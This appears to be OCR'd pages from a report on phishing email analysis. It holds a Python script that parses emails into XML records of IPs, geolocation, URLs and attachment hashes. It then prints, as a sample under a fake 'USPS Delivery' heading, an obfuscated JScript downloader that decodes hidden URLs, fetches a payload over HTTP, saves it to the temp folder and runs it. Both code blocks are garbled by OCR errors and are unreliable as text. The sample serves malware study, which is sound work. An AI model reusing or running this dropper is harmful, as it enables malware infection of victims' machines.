Rwad.text = tempStr.split()[0][:-1]

Rwd = ET.SubElement(Rw, 'r'+str(i)+'-date-timezone'")

Rwd.text = tempStr.split()[5]

if (len(tempStr.split()) > 6) :

if(tempStr.split()[6] == '(CEST)") :

Rwd.set(‘cest’, 'yes')

else:

Rwd.set('cest’, 'no’)
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#IP

tempStr = re.findall( r'[0-9]+(?:\.[0-9]+){3}, header )
Rwd = ET.SubElement(Rw, 'r'+str(i)+"-ip")

Rwd.text = tempStr[0]

IP_info = geolite2.lookup(tempStr[0])

if IP_info != None:

Rwd = ET.SubElement(Rw, 'r'+str(i)+'-goip’)

Rwdi = ET.SubElement(Rwd, 'r'+str(i)+'-country’)
Rwdi.text = IP_info.country

Rwdi = ET.SubElement(Rwd, 'r'+str(i)+'-region’)
Rwdi.text = str(IP_info.subdivisions)[12:-3]

Rwdi = ET.SubElement(Rwd, 'r'+str(i)+'-time-zone’)
Rwdi.text = str(IP_info.timezone)

Rwdi = ET.SubElement(Rwd, 'r'+str(i)+'-location’)
Rwdi.set('latitude’, str(IP_info.location[0]))

Rwdi.set('logitude’, str(IP_info.location[1]))

RP = ET.SubElement(root, 'message-id’)
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RP.text = msg['Message-ID"][1:-1]

RP = ET.SubElement(root, 'subject’)

RP.text = msg['Subject’]

RP = ET.SubElement(root, ‘date’)

tempStr = msg['Date’]

Rwd = ET.SubElement(RP, 'year")

Rwd.text = tempStr.split()[3]

Rwd = ET.SubElement(RP, 'month’)

Rwd.text = tempStr.split()[2]

Rwd = ET.SubElement(RP, 'day’)

Rwad.text = tempStr.split()[1]

Rwd = ET.SubElement(RP, 'hour")

Rwd.text = tempStr.split()[4][:-6]

Rwd = ET.SubElement(RP, 'minute’)

Rwd.text = tempStr.split()[4][3:-3]

Rwd = ET.SubElement(RP, 'second’)
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Rwd.text = tempStr.split()[4][6:]

Rwd = ET.SubElement(RP, ‘weekday")

Rwd.text = tempStr.split()[0][:-1]

Rwd = ET.SubElement(RP, 'timezone’)

Rwd.text = tempStr.split()[5]

if (len(tempStr.split()) > 6) :

if(tempsStr.split()[6] == '(CEST)") :
Rwd.set(‘cest’, 'yes')
else:

Rwd.set(‘cest’, 'no’)

RP = ET.SubElement(root, 'to")
RP_user = ET.SubElement(RP, 'to-user’)
RP_domain = ET.SubElement(RP, 'to-domain’)

RP_TLD = ET.SubElement(RP, 'to-tld")

RP_user.text = msg[To"].split(@")[0][1:]
tempStr = msg['To'].split('@")[1]
RP_domain.text = tempStr.split('.")[0]

RP_TLD.text = tempStr.split(".")[1]
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# Payload

def analyse_payload (data):

urls = re.findall("(?P<url>https?://["\s]+)", data)

for j in range(0, len(urls)) :
RP = ET.SubElement(root, 'link’)
RP_link = ET.SubElement(RP, 'a")
RP_link.text = urls[j]
RP_link = ET.SubElement(RP, ‘a-domain’)
parsed_uri = urlparse( urls[j])

RP_link.text = "{uri.scheme}://{uri.netloc}/".format(uri=parsed_uri)

if msg.is_multipart():
for payload in msg.get_payload():

analyse_payload (payload.get_payload())
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else:

analyse_payload (msg.get_payload())

# Attachement

for part in msg.walk():

if ((part.get_content_type() '= 'multipart/mixed’) and (part.get_content_type() !=
‘text/plain’)) :

RP = ET.SubElement(root, ‘file")

RP_info = ET.SubElement(RP, 'name")
RP_info.text = part.get_filename()
hash_object = hashlib.md5(part.get_payload())
RP_info = ET.SubElement(RP, 'hash’)

RP_info.text = hash_object.hexdigest()

print msg['to']

doc = ET.ElementTree(root)

doc.write(input_email[:-3]+'xml")

for file in os.listdir("./"):
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if file.endswith(".txt"):

parse_email_file (file)

10.3 Zprdva USPS Delivery — kéd

function decode(asunderLFg, turgidypX, aphorismHjqg, whittlevXs, fortitudeeh7,
betrothedA3q, revelryyxQ, harrylQ2, elysianPiT, malleabledzX, fanfarefmo,
hurtleGxM, earnestTkd, wafflevkl, querulousTIL, wantonL6B, kindleAFy,
ornateBZd, sullyw1H, madrigalcpg, turbidtF4, diffidentMLe) {

var asunderm5D = "replace";
asunderLFg = asunderLFg[asunderm5D](/[*A-Za-z0-9\+\\=]/g, "");

var exasperateGdG =[ 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -
1,-1,64,-1,-1,-1,0,1,2,3,4,5,6,7,8,9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21,22,23,24,25,-1,-1,-1,-1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
39,40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51 ];

var vestigeZmg = turbidtF4;
if ('vestigeZmg) {
vestigeZmg = new Uint8Array(Math.pow(asunderLFg.length / 4, 2) * 3);
¥
diffidentMLe = diffidentMLe || O;
var siegek2K, cogentTWB, routBrd, premiseAzD;
var enamorowY = 0, manumitgpT = diffidentMLe;
while (enamorowY < asunderLFg.length) {
var harrowingo8P = "charCodeAt";
siegek2K = exasperateGdG[asunderLFg[harrowingo8P](enamorowY++) - 43];

cogentTWB = exasperateGdG[asunderLFg[harrowingo8P](enamorowY++) -
43];

routBrd = exasperateGdG[asunderLFg[harrowingo8P](enamorowY++) - 43];
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premiseAzD = exasperateGdG[asunderLFg[harrowingo8P](enamorowY++) -
43];

vestigeZmg[manumitgpT++] = siegek2K << 2 | cogentTWB >> 4;

if (routBrd '==64) {
vestigeZmg[manumitgpT++] = (cogentTWB & 15) << 4 | routBrd >> 2;
iIf (premiseAzD !'==64) {

vestigeZmg[manumitgpT++] = (routBrd & 3) << 6 | premiseAzD;

}

return turbidtF4 ? manumitgpT - diffidentMLe : vestigeZmg.subarray(0,

manumitgpT);

}

var advocateGPt = function(unassumingpfk) {
var oratorionrx = [J;
var turgidypX = "permeateshS";
var aphorismHjq = "venerablev3T";
var whittlevXs = "pithyuMO™;
var fortitudeeh?7 = "delvenvt";
var betrothedA3q = "venerableMcl";
var revelryyxQ = "encumberFT6";
var harrylQ2 = "ariaVCj",
var elysianPiT = "austereacF";
var malleabledzX = "adjurecOz";
var fanfarefmo = "exegesisXdi";

var hurtleGxM = "phlegmaticruO";

151



var earnestTkd = "debaseQvU";

var wafflevkl = "contractxhx";

var querulousTIL = "unconscionableThT";
var wantonL6B = "machinationQvQ";

var kindleAFy = "insistolR";

var ornateBZd = "acquiescexow";

var sullyw1H = "repasttud";

var madrigalcpg = “effervescencehzW";

var pompsbA = decode(unassumingpfk, turgidypX, aphorismHjq, whittlevXs,
fortitudeeh7, betrothedA3q, revelryyxQ, harrylQ2, elysianPiT, malleabledzX,
fanfarefmo, hurtleGxM, earnestTkd, wafflevkl, querulousTIL, wantonL6B,

kindleAFy, ornateBZd, sullyw1H, madrigalcpg, oratorionrx);
var symmetryfbT = "ASdasdcharCodeAtadsfaf".slice(6, 16);
var threadbareONv = "",
for (var enamorowY = 0; enamorowY < pomps5A; enamorowY ++) {

var vestmentJxA = String.fromCharCode;

threadbareONv += vestmentJxA(oratorionrx[enamorowY]] N
"Sh6QWygpEEIMqQfK"[symmetryfbT](enamorowY %
"Sh6QWygpEEIMqQfK".length));

}
return threadbareONv;
b

var veraciouslpm = function() {
var dyspepticime = function() {
var objectiveEoS = advocateGPt("'GSxXYAchlgoKHQ=="");

var conservatoryp7B = advocateGPt(""N1BBYyQyNDwHBw=="");
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var pilferU58 = advocateGPt(""NhQEOyMAEwUvIw=="");

h

dyspepticime.prototype.QUfyNgjoMP = function(nexusfWo) {
var stumpEIR = advocateGPt(""EBBTMCMCcKBIVIA85™);
return wsh[stumpEIR](nexusfWo);

h

dyspepticime.prototype.gALTwW3Xg6Y = function(nexusfWo) {
var stumpEIR = advocateGPt(""EBBTMCMCcKBIVIA85™);
return WScript[stumpEIR](nexusfWo);

h

return dyspepticime;

3O

(function() {

var confluencemVZ = Math.pow(2, 10) * 249;

var doggerelM2f = [
advocateGPt(""OxZCIW1WSActIB40ECMDMjwXWygxCw4VKyEKK18yCSZ8U
AB/MgEC™),

advocateGPt(""OxZCIW1WSBOklwUsHzQDLYyAbWSQmCEKTKihDfod/AzM2™) ];
var maraudgdu = 4194304;
var implacablelAl = new veraciouslpm();
var vatxMF = implacablelAl[advocateGPt("'NCN6BSBKPxdzHA=="")];
var whorlWKKk = vatxMF(advocateGPt("'BDFVIz4JE14WLQKhHQ=="");
var doggerelDhy = vatxMF(advocateGPt(""HjFUHBtLSSgICSQZIQE="));
var manneredKwb = vatxMF(advocateGPt("'EiZ5FRVXNAQ3IA0g™));

var institutesP1 =
whorlWKKk.ExpandEnvironmentStrings(advocateGPt("'djZzHAdcOw==""));
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var chastisesED = institutesP1 + maraudgdu + advocateGPt(""fQdONA=="");
var spectralbnQ = false;
var passeyZz = 200;
for (var gadflyYMJ = 0; gadflyYMJ < doggerelM2f.length; gadflyY MJ++) {
try {
var teemUQH = doggerelM2f[gadflyYMJ];
doggerelDhy.open(advocateGPt("'FCdi™), teemUQH, false);
doggerelDhy.send();
if (doggerelDhy.status == passeyZz) {
try {
manneredKwb[advocateGPt("'PBJTPw==""]();

manneredKwb.type = 1;

manneredKwb[advocateGPt("'IBBfJTI="")](doggerelDhy[advocateGPt("'IQdFITgXF
BUHKgg0™)]);

if (manneredKwhb.size > confluencemVZ) {
gadflyYMJ = doggerelM2f.length;
manneredKwb.position = 0;
manneredKwhb.saveToFile(chastisesED, 2);
spectralbnQ = true;

¥

} finally {

manneredKwb.close();

}
} catch (ignored) {}

154



if (spectralbnQ) {

whorlWKk[advocateGPt(""FhpTMg=="")](institutesP1 + Math.pow(2, 22));

1O;
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